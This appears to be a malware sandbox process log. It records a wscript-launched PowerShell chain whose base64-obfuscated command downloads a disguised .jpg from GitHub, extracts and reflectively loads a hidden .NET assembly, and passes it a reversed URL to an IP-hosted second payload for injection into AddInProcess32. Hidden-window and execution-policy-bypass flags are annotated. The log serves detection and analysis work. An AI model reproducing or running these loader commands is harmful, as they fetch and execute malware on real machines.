parent_process wscript.exe martian_process powershell -command $Codigo = 'KCc5R3ppbWEnKydnZVVybCA9IGZ3aWh0dHBzOi8vcmEnKyd3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0EnKyduZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBmd2k7OScrJ0d6d2ViQ2xpZW50ID0gTmV3LU9iamUnKydjdCBTeXN0ZW0uTmUnKyd0LldlYkNsaWVudDs5R3ppbWFnZUJ5dGVzID0gOUd6d2ViQ2xpZW4nKyd0LkRvdycrJ25sb2FkRGF0YSg5R3ppbWFnZVVybCk7OUd6aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbicrJ2coOUd6aW1hZ2VCeXRlcyk7OUd6c3RhcnRGbGFnID0gZndpPDxCQVNFNjRfU1RBUlQ+PmZ3aTs5R3plbmRGbGFnID0gZndpPDxCQVNFNjRfRU5EPj5md2k7OUd6c3RhcnRJbmRleCcrJyA9IDlHemltYWdlVGV4dC5JbmRleE9mKDlHenN0YXJ0RmxhZyk7OUd6ZW5kSW5kZXggPSA5R3ppbWFnZVRleHQuSW5kZXhPZig5R3plbmQnKydGbGFnKTs5R3pzdGFydCcrJ0luJysnZGV4IC1nZSAwIC1hbmQgOUd6ZW5kSScrJ25kZXggLWd0IDlHenN0YXJ0SW5kZXg7OUd6c3RhcnRJbmRleCArPSA5JysnR3pzdGFydEZsYWcuTGVuZ3RoOzlHemJhc2U2NExlbmd0aCA9IDlHemVuZEluZGV4IC0gOUd6c3RhcnRJbmRleDs5R3piYXNlNjRDb21tYW5kID0gOUd6aW1hZ2VUZXh0LlN1YnN0cmluZyg5R3pzdGFydEluZGV4LCA5R3piYXNlNjQnKydMZW5ndGgpOzlHemNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoOUd6YmFzZTY0Q29tbWFuZCk7OUd6bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDlHemNvJysnbW1hbmRCeXRlcyk7OUd6dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldCcrJ2hvZChmd2lWQUlmd2kpJysnOzlHenZhaU1ldGhvZC5JbnZva2UoOUd6bnVsbCwgQChmd2l0eHQuNDQ0NDZlc2FiYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aGZ3aSwgZicrJ3dpZGVzYXRpdmFkb2Z3aSwgZncnKydpZGVzYXRpdmFkb2Z3aSwgZndpZGVzYXRpdmFkb2Z3aSwgZndpQWRkSW5Qcm9jZXNzMzJmd2ksIGZ3aWRlc2F0aXZhZG9md2ksIGZ3aWRlc2F0aXZhZG9md2kpKTsnKS5yRVBMQWNlKChbQ0hBcl0xMDIrW0NIQXJdMTE5K1tDSEFyXTEwNSksW1NUUmlOZ11bQ0hBcl0zOSkuckVQTEFjZSgnOUd6JyxbU1RSaU5nXVtDSEFyXTM2KSB8LigoR3YgJyptZHIqJykubkFtZVszLDExLDJdLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('9Gzima'+'geUrl = fwihttps://ra'+'w.githubusercontent.com/CryptersA'+'ndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg fwi;9'+'GzwebClient = New-Obje'+'ct System.Ne'+'t.WebClient;9GzimageBytes = 9GzwebClien'+'t.Dow'+'nloadData(9GzimageUrl);9GzimageText = [System.Text.Encoding]::UTF8.GetStrin'+'g(9GzimageBytes);9GzstartFlag = fwi<<BASE64_START>>fwi;9GzendFlag = fwi<<BASE64_END>>fwi;9GzstartIndex'+' = 9GzimageText.IndexOf(9GzstartFlag);9GzendIndex = 9GzimageText.IndexOf(9Gzend'+'Flag);9Gzstart'+'In'+'dex -ge 0 -and 9GzendI'+'ndex -gt 9GzstartIndex;9GzstartIndex += 9'+'GzstartFlag.Length;9Gzbase64Length = 9GzendIndex - 9GzstartIndex;9Gzbase64Command = 9GzimageText.Substring(9GzstartIndex, 9Gzbase64'+'Length);9GzcommandBytes = [System.Convert]::FromBase64String(9Gzbase64Command);9GzloadedAssembly = [System.Reflection.Assembly]::Load(9Gzco'+'mmandBytes);9GzvaiMethod = [dnlib.IO.Home].GetMet'+'hod(fwiVAIfwi)'+';9GzvaiMethod.Invoke(9Gznull, @(fwitxt.44446esabbbbbbewmadam/431.871.64.891//:ptthfwi, f'+'widesativadofwi, fw'+'idesativadofwi, fwidesativadofwi, fwiAddInProcess32fwi, fwidesativadofwi, fwidesativadofwi));').rEPLAce(([CHAr]102+[CHAr]119+[CHAr]105),[STRiNg][CHAr]39).rEPLAce('9Gz',[STRiNg][CHAr]36) |.((Gv '*mdr*').nAme[3,11,2]-joIn'')"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe